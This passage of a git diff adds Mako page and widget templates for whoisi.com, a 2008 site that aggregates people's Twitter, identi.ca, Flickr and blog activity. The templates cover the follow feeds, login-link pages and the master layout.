+could just visit the page with the activity stream for the event.  The
+url for the activity stream is http://whoisi.com/e/&lt;eventtag&gt;.
+As an example for oscon it would
+be <a href="http://whoisi.com/e/oscon2008">http://whoisi.com/e/oscon2008</a>
+</p>
+
+<p>
+Enjoy!
+</p>
diff --git a/whoisi/templates/everyone.mak b/whoisi/templates/everyone.mak
new file mode 100644 (file)
index 0000000..bba5af1
--- /dev/null
@@ -0,0 +1,71 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: What everyone is doing.</%def>
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+<%namespace file="twitter-widget.mak" import="twitter_widget"/>
+<%namespace file="identica-widget.mak" import="identica_widget"/>
+<%namespace file="weblog-widget.mak" import="weblog_widget"/>
+<%namespace file="flickr-widget.mak" import="flickr_widget"/>
+<%namespace file="picasa-widget.mak" import="picasa_widget"/>
+<%namespace file="delicious-widget.mak" import="delicious_widget"/>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+%for cluster in clusters:
+<% site = cluster[0].site %>
+
+%if site.type == "twitter":
+${twitter_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "identica":
+${identica_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "feed":
+${weblog_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "flickr":
+${flickr_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "delicious":
+${delicious_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "picasa":
+${picasa_widget(site=site, site_history=cluster, display="time")}
+%endif
+
+%endfor
+
+<div>
+<%
+# find the lowest value id from all the clusters
+import sys
+min_id = sys.maxint
+for c in clusters:
+    for i in c:
+        min_id = min(min_id, i.id)
+%>
+<a href="/everyone?start=${min_id}">More...</a>
+</div>
diff --git a/whoisi/templates/flickr-widget.mak b/whoisi/templates/flickr-widget.mak
new file mode 100644 (file)
index 0000000..78f9088
--- /dev/null
@@ -0,0 +1,86 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.follow import is_following_person
+from whoisi.utils.flickr import flickr_fill_thumbnails
+from whoisi.utils.display import short_link_ref
+%>
+
+<%def name="flickr_widget(site, site_history, display)">
+
+<%
+_untitled = "<i>Untitled</i>"
+
+entries_list = []
+count = 0
+needs_refresh = False
+
+count = len(site_history)
+entries_list, needs_refresh = flickr_fill_thumbnails(site_history)
+%>
+
+<div class="link-collection-item" site-id="${site.id}" needs-refresh="${needs_refresh}">
+<img src="/static/images/sites/flickr-favicon.gif"/>
+
+%if display == "time" or display == "follow":
+<a href="/p/${site.personID}">${site.person.name | h}</a>:
+%endif
+<a href="${site.url}">Flickr photos</a>
+
+<span class="link-action">
+%if display == "edit":
+&nbsp;&nbsp;<a site-id="${site.id}" class="site-remove" href="">Remove</a>
+%endif
+%if display == "time":
+  %if is_following_person(site.personID):
+  &nbsp;&nbsp;<a class="person-unfollow" person-id="${site.personID}" href="#">Stop Following</a>
+  %else:
+  &nbsp;&nbsp;<a class="person-follow" person-id="${site.personID}" href="#">Follow Person</a>
+  %endif
+%endif
+</span>
+
+<div class="link-collection">
+%for i in range(0, count):
+%if display != "preview":
+  <a target="_blank" href="${short_link_ref(entries_list[i][3])}">
+  <img width="75" height="75" src="${entries_list[i][1]}" title="${entries_list[i][2] | h}"/>
+  </a>
+%else:
+  <a target="_blank" href="${entries_list[i][0]}">
+  <img width="75" height="75" src="${entries_list[i][1]}" title="${entries_list[i][2] | h}"/>
+  </a>
+%endif
+%if int(i+1) % 5 == 0:
+<br/>
+%endif
+%endfor
+</div> <!-- link-collection -->
+
+</div> <!-- link-collection-item -->
+
+</%def>
+
+${flickr_widget(site=site, site_history=site_history, display=display)}
diff --git a/whoisi/templates/follow-byname.mak b/whoisi/templates/follow-byname.mak
new file mode 100644 (file)
index 0000000..faaa1c4
--- /dev/null
@@ -0,0 +1,65 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: People you're following.</%def>
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%namespace file="person-widget.mak" import="person_widget"/>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<div>
+Sort by: <a href="/follow">Time</a> | Person
+</div>
+
+<div class="result-block">
+<div class="search-results-info">
+<br/>
+&nbsp;Showing ${start+1}-${end} of ${total_results}<br/>
+</div>
+</div>
+
+%for p in people:
+  <div class="result-block">
+  ${person_widget(person=p, other_names=other_names[p.id], sites=sites[p.id], new_sites=None, site_history=site_history, display="search")}
+  </div>
+%endfor
+
+%if not (cur_page == 0 and last_page):
+  <div>
+  %if cur_page != 0:
+    <a href="/follow?sort=name&amp;page=${cur_page-1}">&lt;-- Previous</a>&nbsp;&nbsp;
+  %endif
+  %if not last_page:
+    <a href="/follow?sort=name&amp;page=${cur_page+1}">Next --&gt;</a>
+  %endif
+  </div>
+%endif
+
diff --git a/whoisi/templates/follow-no-entries.mak b/whoisi/templates/follow-no-entries.mak
new file mode 100644 (file)
index 0000000..5bc7384
--- /dev/null
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: People you're following.</%def>
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<div>
+Sort by: Time | <a href="/follow?sort=name">Person</a>
+</div>
+
+<h1 style="width: 60%"> You're following people but they haven't posted anything since they were added!</h1>
+
+<p style="width: 60%">
+
+We don't show posts that exist in the feed when it's first added, only
+ones that are added over time.  But you can still browse via the <a
+href="/follow?sort=name">Person view above</a>.
+
+</p>
+
+<p>
+When your contacts post something new, it will show up here.
+</p>
+
diff --git a/whoisi/templates/follow.mak b/whoisi/templates/follow.mak
new file mode 100644 (file)
index 0000000..c8d60dd
--- /dev/null
@@ -0,0 +1,79 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: People you're following.</%def>
+
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%namespace file="twitter-widget.mak" import="twitter_widget"/>
+<%namespace file="identica-widget.mak" import="identica_widget"/>
+<%namespace file="weblog-widget.mak" import="weblog_widget"/>
+<%namespace file="flickr-widget.mak" import="flickr_widget"/>
+<%namespace file="picasa-widget.mak" import="picasa_widget"/>
+<%namespace file="delicious-widget.mak" import="delicious_widget"/>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<div>
+Sort by: Time | <a href="/follow?sort=name">Person</a>
+</div>
+
+<br/>
+
+%for cluster in clusters:
+<% site = cluster[0].site %>
+
+%if site.type == "twitter":
+${twitter_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "identica":
+${identica_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "feed":
+${weblog_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "flickr":
+${flickr_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "picasa":
+${picasa_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "delicious":
+${delicious_widget(site=site, site_history=cluster, display="time")}
+%endif
+
+%endfor
+
+<div>
+<%
+# find the lowest value id from all the clusters
+import sys
+min_id = sys.maxint
+for c in clusters:
+    for i in c:
+        min_id = min(min_id, i.id)
+%>
+<a href="/follow?start=${min_id}">More...</a>
+</div>
diff --git a/whoisi/templates/identica-widget.mak b/whoisi/templates/identica-widget.mak
new file mode 100644 (file)
index 0000000..6b2a21d
--- /dev/null
@@ -0,0 +1,84 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.follow import is_following_person
+from whoisi.utils.display import confirm_escape, expand_href, short_link_ref
+from whoisi.utils.twitter import get_name_prefix, get_text, expand_user_ref
+%>
+
+<%def name="identica_widget(site, site_history, display)">
+
+<%
+name_prefix = get_name_prefix(site)
+name_re = "^" + name_prefix + ": "
+count = len(site_history)
+entries = site_history
+%>
+
+<div class="link-collection-item" site-id="${site.id}">
+<img src="/static/images/sites/identica.png"/>
+%if display == "time" or display == "follow":
+<a href="/p/${site.personID}">${site.person.name | h}</a>:
+%endif
+<a href="${site.url}">identi.ca</a>
+
+<span class="link-action">
+%if display == "edit":
+&nbsp;&nbsp;<a site-id="${site.id}" class="site-remove" href="">Remove</a>
+%endif
+%if display == "time":
+  %if is_following_person(site.personID):
+  &nbsp;&nbsp;<a class="person-unfollow" person-id="${site.personID}" href="#">Stop Following</a>
+  %else:
+  &nbsp;&nbsp;<a class="person-follow" person-id="${site.personID}" href="#">Follow Person</a>
+  %endif
+%endif
+</span>
+
+<div class="twitter-collection">
+%for i in range(0, count):
+<div class="twitter-entry">
+<%
+entry = entries[i]
+txt = get_text(name_re, entry.title)
+txt = confirm_escape(txt)
+txt = expand_href(txt)
+txt = expand_user_ref(txt, "http://identi.ca/")
+%>
+${txt}
+  %if display == "preview":
+  <span class="timestamp"><a class="short-link" href="${entry.link}">${entry.getAge()}</a></span>
+  %else:
+  <span class="timestamp"><a class="short-link" href="${short_link_ref(entry.id)}">${entry.getAge()}</a></span>
+  %endif
+</div> <!-- twitter-entry -->
+%endfor
+</div> <!-- twitter-collection -->
+
+</div> <!-- link-collection-item -->
+
+</%def>
+
+${identica_widget(site=site, site_history=site_history, display=display)}
diff --git a/whoisi/templates/index.mak b/whoisi/templates/index.mak
new file mode 100644 (file)
index 0000000..cab0ded
--- /dev/null
@@ -0,0 +1,47 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Follow your friends on the Internet.</%def>
+
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%inherit file="master.mak"/>
+
+<div align="center">
+<a href="/"><img src="/static/images/whoisi-200.png"></a>
+<h1>Follow your friends on the Internet.</h1>
+</div>
+
+<div align="center">
+<form action="/search" method="GET" name="f">
+<input type="text" name="search" value="" size="50"><br><br>
+<input type="submit" value="What Are Your Friends Doing?">
+</form>
+</div>
+
+
+
+
diff --git a/whoisi/templates/linkedin-widget.mak b/whoisi/templates/linkedin-widget.mak
new file mode 100644 (file)
index 0000000..c94aa4d
--- /dev/null
@@ -0,0 +1,69 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+import simplejson
+%>
+
+<%def name="linkedin_widget(site, display)">
+<%
+current_data = simplejson.loads(site.current)
+if display is "search" or display is "edit":
+   num_entries = 1
+else:
+   num_entries = 3
+count = min(num_entries, len(current_data))
+needs_refresh = False
+%>
+
+<div class="link-collection-item" site-id="${site.id}" needs-refresh="${needs_refresh}">
+<img src="/static/images/sites/linkedin.gif"/>
+
+<a href="${site.url}">LinkedIn</a>
+
+%if display == "edit":
+<span class="link-action">
+&nbsp;&nbsp;<a site-id="${site.id}" class="site-remove" href="">Remove</a>
+</span>
+%endif
+
+<div class="linkedin-collection">
+%if count > 0:
+  %for i in range(0, count):
+    <div class="linkedin-entry">
+    ${current_data[i] | h}
+    </div>
+  %endfor
+%else:
+  <div class="linkedin-entry">
+  <i>This LinkedIn profile has no jobs listed.</i>
+  </div>
+%endif
+</div> <!-- linkedin-collection -->
+
+</div> <!-- link-collection-item -->
+
+</%def>
+
+${linkedin_widget(site=site, display=display)}
diff --git a/whoisi/templates/login-info.mak b/whoisi/templates/login-info.mak
new file mode 100644 (file)
index 0000000..eb6ef01
--- /dev/null
@@ -0,0 +1,57 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+import turbogears as tg
+%>
+
+<%def name="get_page_title()">whoisi.com: How to log in later.</%def>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+%if follower is None:
+  <h1>You're not following anyone so you don't need to log in later.</h1>
+
+  <div>
+  If you want to be able to log in later you should follow someone!
+  </div>
+  <% return ''%>
+%endif
+
+<br/>
+
+<h1>Your link to log in later.</h1>
+
+<div style="width: 60%">
+<b>It's strongly suggested that you copy this link into a piece of
+email you send to yourself.  Don't share it with anyone else.</b>
+</div>
+
+<br/>
+
+<div>
+<b><a href="${'http://whoisi.com/login/' + follower.private}">${'http://whoisi.com/login/' + follower.private}</a></b>
+</div>
diff --git a/whoisi/templates/login-not-found.mak b/whoisi/templates/login-not-found.mak
new file mode 100644 (file)
index 0000000..c902045
--- /dev/null
@@ -0,0 +1,43 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Login not found.  Sadfaces.</%def>
+
+<%namespace file="search-widget.mak" import="search_widget"/>
+
+<%inherit file="master.mak"/>
+
+<div>
+<h1>whoisi.com: Follow your friends on the Internet.</h1>
+</div>
+
+<div>
+${search_widget(search=search)}
+</div>
+
+<h2 class="error">Sorry, your login info wasn't found.</h2>
+
+<div>
+Try searching for someone or check your email?
+</div>
diff --git a/whoisi/templates/master.mak b/whoisi/templates/master.mak
new file mode 100644 (file)
index 0000000..0eb40cb
--- /dev/null
@@ -0,0 +1,115 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.follow import is_following_anyone, count_history, last_history
+from whoisi.utils.follow import current as follow_current
+from whoisi.utils.fast_history import fast_count_items_for_follower, fast_max_item_for_follower
+%>
+
+<%def name="get_page_title()">whoisi.com</%def>
+<%def name="get_extra_js()"></%def>
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+<meta content="text/html; charset=UTF-8"/>
+<title>${self.get_page_title()}</title>
+<script src="/static/javascript/jquery.js" type="text/javascript"></script>
+${self.get_extra_js()}
+<style type="text/css" media="screen">
+@import "/static/css/style.css";
+</style>
+</head>
+<body>
+
+<%
+num_friends = is_following_anyone()
+num_friends_text = ""
+if num_friends:
+    if num_friends == 1:
+        num_friends_text = "1 person"
+    else:
+        num_friends_text = str(num_friends) + " people"
+else:
+    num_friends_text = "no one"
+%>
+
+<%
+# This should really really not be here.  Breakin' all the rules.
+# if it's our first time set default values
+f_current = follow_current()
+if f_current:
+   if f_current.last_history == None:
+       f_current.last_history = fast_max_item_for_follower()
+   if f_current.last_history != None:
+       f_current.count_history = fast_count_items_for_follower()
+
+unread_msg = "Nothing Unseen"
+c_history = count_history()
+if c_history is not None and c_history > 0:
+    unread_msg = str(c_history) + " Unseen"
+%>
+
+<div id="nav-sidebar">
+<ul>
+<li><a href="/follow">Following <span id="follownum">${num_friends_text}</span></a></li>
+<li><a href="/unseen">${unread_msg}</a></li>
+</ul>
+
+%if is_following_anyone():
+<ul>
+<li><a href="/recommendations">Recommendations</a></li>
+<li><a href="/logininfo">Login Later</a></li>
+</ul>
+%endif
+
+<ul>
+<li><a href="/random">Someone Random</a></li>
+<li><a href="/everyone">Everyone</a></li>
+<li><a href="/events">Events</a></li>
+</ul>
+</div>
+
+${next.body()}
+
+<br/>
+<div align="center" class="footer">
+<a href="/about">Learn about this site</a> | <a href="/contact">Contact</a> | <a href="/api/">API</a>
+<br/>
+&copy; 2008 <a href="/p/1">Christopher Blizzard</a>
+</div>
+
+<script type="text/javascript">
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script>
+<script type="text/javascript">
+var pageTracker = _gat._getTracker("UA-4405461-2");
+pageTracker._initData();
+pageTracker._trackPageview();
+</script>
+</body>
+</html>
+
diff --git a/whoisi/templates/name-add-widget.mak b/whoisi/templates/name-add-widget.mak
new file mode 100644 (file)
index 0000000..e837639
--- /dev/null
@@ -0,0 +1,45 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="name_add_widget(person, newname, error_text)">
+
+<div class="link-collection-item">
+<div class="person-edit-wrapper">
+%if error_text:
+<div class="error">${error_text}<br/><br/></div>
+%endif
+<div class="recaptcha">Loading Captcha...</div><br/>
